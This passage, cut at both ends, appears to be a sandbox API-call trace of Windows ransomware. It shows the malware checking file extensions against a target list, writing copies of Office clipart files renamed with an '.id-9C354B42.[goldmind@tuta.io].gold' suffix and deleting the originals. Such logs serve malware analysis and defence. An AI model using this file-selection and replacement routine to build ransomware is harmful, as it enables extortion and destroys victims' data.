Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.404] lstrlenW (lpString=".dbf") returned 4 [0114.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.404] lstrlenW (lpString=".1cd") returned 4 [0114.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.404] lstrlenW (lpString=".jpg") returned 4 [0114.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.404] lstrlenW (lpString=".doc") returned 4 [0114.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString=".docx") returned 5 [0114.404] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.404] lstrlenW (lpString=".pdf") returned 4 [0114.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString=".xls") returned 4 [0114.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.404] lstrlenW (lpString=".xlsx") returned 5 [0114.404] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.404] lstrlenW (lpString=".ppt") returned 4 [0114.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.404] lstrlenW (lpString=".zip") returned 4 [0114.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.404] lstrlenW (lpString=".rar") returned 4 [0114.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString=".bz2") returned 4 [0114.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString=".7z") returned 3 [0114.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.404] lstrlenW (lpString=".dbf") returned 4 [0114.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.404] lstrlenW (lpString=".1cd") returned 4 [0114.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.404] lstrlenW (lpString=".jpg") returned 4 [0114.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.404] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.404] lstrlenW (lpString="J0199473.WMF") returned 12 [0114.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.405] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10776) returned 1 [0114.405] CloseHandle (hObject=0x364) returned 1 [0114.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf")) returned 0x20 [0114.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.406] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.406] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.406] GetLastError () returned 0x0 [0114.406] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2a18, lpOverlapped=0x0) returned 1 [0114.427] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2a20, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2a20, lpOverlapped=0x0) returned 1 [0114.428] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.428] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.428] SetEndOfFile (hFile=0x3ec) returned 1 [0114.429] CloseHandle (hObject=0x3ec) returned 1 [0114.429] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.429] SetEndOfFile (hFile=0x364) returned 1 [0114.431] CloseHandle (hObject=0x364) returned 1 [0114.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf")) returned 1 [0114.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.433] lstrlenW (lpString=".doc") returned 4 [0114.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString=".docx") returned 5 [0114.433] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.433] lstrlenW (lpString=".pdf") returned 4 [0114.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString=".xls") returned 4 [0114.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.433] lstrlenW (lpString=".xlsx") returned 5 [0114.433] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.433] lstrlenW (lpString=".ppt") returned 4 [0114.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.433] lstrlenW (lpString=".zip") returned 4 [0114.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.433] lstrlenW (lpString=".rar") returned 4 [0114.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString=".bz2") returned 4 [0114.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString=".7z") returned 3 [0114.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.433] lstrlenW (lpString=".dbf") returned 4 [0114.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.433] lstrlenW (lpString=".1cd") returned 4 [0114.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.433] lstrlenW (lpString=".jpg") returned 4 [0114.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.433] lstrlenW (lpString=".doc") returned 4 [0114.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString=".docx") returned 5 [0114.433] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.433] lstrlenW (lpString=".pdf") returned 4 [0114.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString=".xls") returned 4 [0114.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.433] lstrlenW (lpString=".xlsx") returned 5 [0114.433] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.433] lstrlenW (lpString=".ppt") returned 4 [0114.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.433] lstrlenW (lpString=".zip") returned 4 [0114.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.434] lstrlenW (lpString=".rar") returned 4 [0114.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.434] lstrlenW (lpString=".bz2") returned 4 [0114.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.434] lstrlenW (lpString=".7z") returned 3 [0114.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.434] lstrlenW (lpString=".dbf") returned 4 [0114.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.434] lstrlenW (lpString=".1cd") returned 4 [0114.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0114.434] lstrlenW (lpString=".jpg") returned 4 [0114.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.434] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.434] lstrlenW (lpString="J0199483.WMF") returned 12 [0114.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.435] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10164) returned 1 [0114.435] CloseHandle (hObject=0x364) returned 1 [0114.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf")) returned 0x20 [0114.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.436] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.436] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.437] GetLastError () returned 0x0 [0114.437] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x27b4, lpOverlapped=0x0) returned 1 [0114.747] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x27c0, lpOverlapped=0x0) returned 1 [0114.757] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.757] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.767] SetEndOfFile (hFile=0x3ec) returned 1 [0114.767] CloseHandle (hObject=0x3ec) returned 1 [0114.767] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.767] SetEndOfFile (hFile=0x364) returned 1 [0114.782] CloseHandle (hObject=0x364) returned 1 [0114.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf")) returned 1 [0114.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.784] lstrlenW (lpString=".doc") returned 4 [0114.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString=".docx") returned 5 [0114.784] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.784] lstrlenW (lpString=".pdf") returned 4 [0114.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString=".xls") returned 4 [0114.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.784] lstrlenW (lpString=".xlsx") returned 5 [0114.784] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.784] lstrlenW (lpString=".ppt") returned 4 [0114.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.784] lstrlenW (lpString=".zip") returned 4 [0114.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.784] lstrlenW (lpString=".rar") returned 4 [0114.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString=".bz2") returned 4 [0114.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString=".7z") returned 3 [0114.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.784] lstrlenW (lpString=".dbf") returned 4 [0114.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.784] lstrlenW (lpString=".1cd") returned 4 [0114.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.784] lstrlenW (lpString=".jpg") returned 4 [0114.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.784] lstrlenW (lpString=".doc") returned 4 [0114.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString=".docx") returned 5 [0114.784] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.784] lstrlenW (lpString=".pdf") returned 4 [0114.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString=".xls") returned 4 [0114.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.784] lstrlenW (lpString=".xlsx") returned 5 [0114.784] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.784] lstrlenW (lpString=".ppt") returned 4 [0114.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.784] lstrlenW (lpString=".zip") returned 4 [0114.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.784] lstrlenW (lpString=".rar") returned 4 [0114.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.785] lstrlenW (lpString=".bz2") returned 4 [0114.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.785] lstrlenW (lpString=".7z") returned 3 [0114.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.785] lstrlenW (lpString=".dbf") returned 4 [0114.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.785] lstrlenW (lpString=".1cd") returned 4 [0114.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0114.785] lstrlenW (lpString=".jpg") returned 4 [0114.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.785] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.785] lstrlenW (lpString="J0200467.WMF") returned 12 [0114.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.786] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=13934) returned 1 [0114.786] CloseHandle (hObject=0x364) returned 1 [0114.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf")) returned 0x20 [0114.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.786] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.786] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.787] GetLastError () returned 0x0 [0114.787] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x366e, lpOverlapped=0x0) returned 1 [0114.789] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3670, lpOverlapped=0x0) returned 1 [0114.789] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.789] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.790] SetEndOfFile (hFile=0x3ec) returned 1 [0114.790] CloseHandle (hObject=0x3ec) returned 1 [0114.790] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.790] SetEndOfFile (hFile=0x364) returned 1 [0114.791] CloseHandle (hObject=0x364) returned 1 [0114.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf")) returned 1 [0114.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.793] lstrlenW (lpString=".doc") returned 4 [0114.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.793] lstrlenW (lpString=".docx") returned 5 [0114.793] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.793] lstrlenW (lpString=".pdf") returned 4 [0114.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.793] lstrlenW (lpString=".xls") returned 4 [0114.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.793] lstrlenW (lpString=".xlsx") returned 5 [0114.793] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.793] lstrlenW (lpString=".ppt") returned 4 [0114.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.793] lstrlenW (lpString=".zip") returned 4 [0114.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.793] lstrlenW (lpString=".rar") returned 4 [0114.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.793] lstrlenW (lpString=".bz2") returned 4 [0114.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.793] lstrlenW (lpString=".7z") returned 3 [0114.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.793] lstrlenW (lpString=".dbf") returned 4 [0114.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.793] lstrlenW (lpString=".1cd") returned 4 [0114.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.793] lstrlenW (lpString=".jpg") returned 4 [0114.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.793] lstrlenW (lpString="C:\\Program Files\\Microsoft 